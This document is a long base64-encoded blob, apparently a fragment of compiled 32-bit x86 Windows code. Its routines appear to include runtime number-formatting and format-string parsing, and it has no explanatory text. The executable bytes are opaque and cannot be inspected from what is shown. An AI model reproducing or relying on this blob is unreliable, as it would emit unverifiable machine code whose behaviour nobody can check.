If3//4uF6Pb//4P/AXRbhcB0VzPJi9gz9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyjvzdeSLhSz+//+FyXSqg/hzD4Nw////iYyFMP7//4uFLP7//0CJhej2//+JhSz+///rBouF6Pb//4uV5Pb//4XSD4SCAAAAM8mFwHQei8Iz0gGEjTD+//+LhSz+//8T0omF6Pb//0E7yHXihdJ0WoP4c3MciZSFMP7//4udLP7//0OJnej2//+JnSz+///rP4OlvPj//wCNhcD4//+DpSz+//8AagBQjYUw/v//aMwBAABQ6Ge8AACLnSz+//+DxBCJnej2///rBoud6Pb//4uFzPb//4XAD4QTBAAAagoz0ln38YmF2Pb//4vKiY249v//hcAPhK0DAACD+CZ2A2omWA+2DIWexwMQD7Y0hZ/HAxCL+YmFvPb//8HnAleNBDGJhbz4//+NhcD4//9qAFDohX7//4vGweACUIuFvPb//w+3BIWcxwMQjQSFmL4DEFCNhcD4//8Dx1DoCwIBAIuFvPj//zPJQYPEGDvBD4eUAAAAi73A+P//hf91QzPAUImF7Pb//4mFLP7//42F8Pb//1BozAEAAI2FMP7//1Doe7sAAIPEEIudLP7//7ABiZ3o9v//i53o9v//6cECAAA7+XUEisHr7YXbdPgzyTP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15OmnAAAAiYyFMP7//4udLP7//0OJnSz+///rpjvZD4fXAAAAi70w/v//u8wBAACJhSz+///B4AJQjYXA+P//UI2FMP7//1NQ6Oe6AACDxBAzwIX/dRpQiYW8+P//iYUs/v//jYXA+P//UFPpPf///4udLP7//0CJnej2//87+A+ERf///4XbD4Q9////M8kz9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyjvzdeSFyQ+EB////4uFLP7//4P4cw+CQv///zPbjYXA+P//U1CNhTD+//+Jnbz4//9ozAEAAFCJnSz+///oSboAAIrDg8QQi50s/v//6cn+//87w42VwPj//w+SwYTJdQaNlTD+//+JleT2//+NlTD+//+EyXUGjZXA+P//iZXI9v//hMl0Cov4ib3c9v//6wiL+4md3Pb//4TJdQKL2DPSM/aJlVz8//+F/w+EBwEAAIuF5Pb//42NYPz//yvB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/0GJjVz8///rmIuN4Pb//zvKD4fpAAAAi7Vg/P//v8wBAACJhVz8///B4AJQjYXA+P//ibXM9v//UI2FYPz//1dQ6PmuAACDxBAzwIX2dRpQiYW8+P//iYVc/P//jYXA+P//UFfpI////4uNXPz//0CJjeD2//878A+EK////4XJD4Qj////i53M9v//M/Yz/4vD96S9YPz//wPGiYS9YPz//4PSAEeL8jv5deSLneT2//+F9g+E4f7//4uFXPz//4P4cw+CKv///zPAUImFvPj//4mFXPz//42FwPj//1CNhWD8//9ozAEAAFDoT64AAIuNXPz//4PEEDLA6aP+//87wY21wPj//w+SwoTSdXmNtWD8//+NvcD4//+JvcT2//+Jhdj2//+E0nUIiY3Y9v//i8gz0jP/iZXs9v//OZXY9v//D4QlAQAAjYXw9v//K/CJtbj2//+NBL6LhAXw9v//iYXM9v//hcB1JTv6D4XuAAAAIYS98Pb//41XAYmV7Pb//+nZAAAAjb1g/P//64uDpdT2//8AM8CJhdz2//+L94XJD4SpAAAAg/5zdFs78nUXg6S18Pb//wBAA8eJhez2//+Lhdz2//+LlcT2//+LBIL3pcz2//8DhdT2//+D0gABhLXw9v//i4Xc9v//g9IAQEaJldT2//+Llez2//+Jhdz2//87wXWgg73U9v//AHRAg/5zD4QAAQAAO/J1EYOktfD2//8AjUYBiYXs9v//i4XU9v//M9IBhLXw9v//E9JGiZXU9v//hdKLlez2//91wIP+cw+EwAAAAIu1uPb//0c7vdj2//8Phen+//+LwomVXPz//8HgAlCNhfD2//9QjYVg/P//aMwBAABQ6K2sAACDxBCwAYuNXPz//4mN4Pb//4TAD4ShAAAAi4XI9v//K4XQ9v//iYXI9v//D4Us/P//i5W09v//hdIPhD0BAACLBJU0yAMQiYXM9v//hcB1fFCJhdT0//+JhVz8//+Nhdj0//9QjYVg/P//aMwBAABQ6DisAACDxBCLjVz8//+JjeD2///p+QAAADPAUImF1PT//4mFXPz//42F2PT//1CNhWD8//9ozAEAAFDo/asAAIPEEDLA6Uv///+DpdT0//8Ag6Vc/P//AGoA63OD+AEPhKcAAACFyQ+EnwAAADP/M/b3pLVg/P//A8eJhLVg/P//i4XM9v//g9IARov6O/F14IX/D4Rv////i4Vc/P//g/hzcxyJvIVg/P//i41c/P//QYmN4Pb//4mNXPz//+tSM8CJhdT0//+JhVz8//9QjYXY9P//UI2FYPz//2jMAQAAUOhWqwAAi4Ww9v//g8QQ/7Wo9v//D7aACAMAAFDop+f//1lZagLp8PP//4uN4Pb//4XbdQQz9usgi4SdjPr//4OlzPb//wAPvcB0A0DrAjPAjXP/weYFA/CFyXUEM9LrIIuEjVz8//+Dpcz2//8AD73AdANA6wIzwI1R/8HiBQPQi8Irxjvyav8b9iPwibXU9v//Xw+GrQEAAIuF1Pb//zPSg+Afwe4FaiBZK8iJhcj2//8zwIm13Pb//0CJjbj2///oQO4AAIuMnYz6//9ID73JiYW09v//99CJhcz2//90A0HrAjPJaiBYK8GNFB45hcj2//+JldD2//8Pl8CD+nOIhcP2//8Pl8GD+nN1CITAdASwAesCMsCEyQ+F6gAAAITAD4XiAAAAg/pycglqclqJldD2//+LyomN2Pb//zvXD4SPAAAAi4Xc9v//i/Ir8I2VkPr//40UsjvIcmw783MEiwLrAjPAiYXE9v//jUb/O8NzBYtC/OsCM8Ajhcz2//+D6gSLjbj2//+LncT2//8jnbT2///T6IuNyPb//9Pji43Y9v//C8OJhI2Q+v//SU6Jjdj2//87z3QOi52M+v//i4Xc9v//65CLldD2//+Ltdz2//+F9nQPM8CNvZD6//+LzvOrg8//gL3D9v//AI1aAYuN4Pb//4u11Pb//3UCi9qJnYz6///rPDPAUImF1PT//4mFjPr//42F2PT//1CNhZD6//9ozAEAAFDoKqkAAIudjPr//4PEEIuN4Pb//4u11Pb//4uVrPb//4uFvPb//yvQiZWs9v//hcB0K4vCO/B2If+1qPb//4uFsPb//2oBD7aACAMAAFD/tbz2///pGgMAAIvQK9Y72Xc5cjCNS/87z3Qwi4SNkPr//zuEjWD8//91BUk7z3XrO890F4uEjZD6//87hI1g/P//dwdGibXU9v//i/IzwIPiH8HuBWogWSvKiZXI9v//QIm13Pb//zPSiY249v//6BfsAACLjJ2M+v//SA+9yYmFtPb///fQiYXM9v//dAWNQQHrAjPAaiBZK8iNFB45jcj2//+JldD2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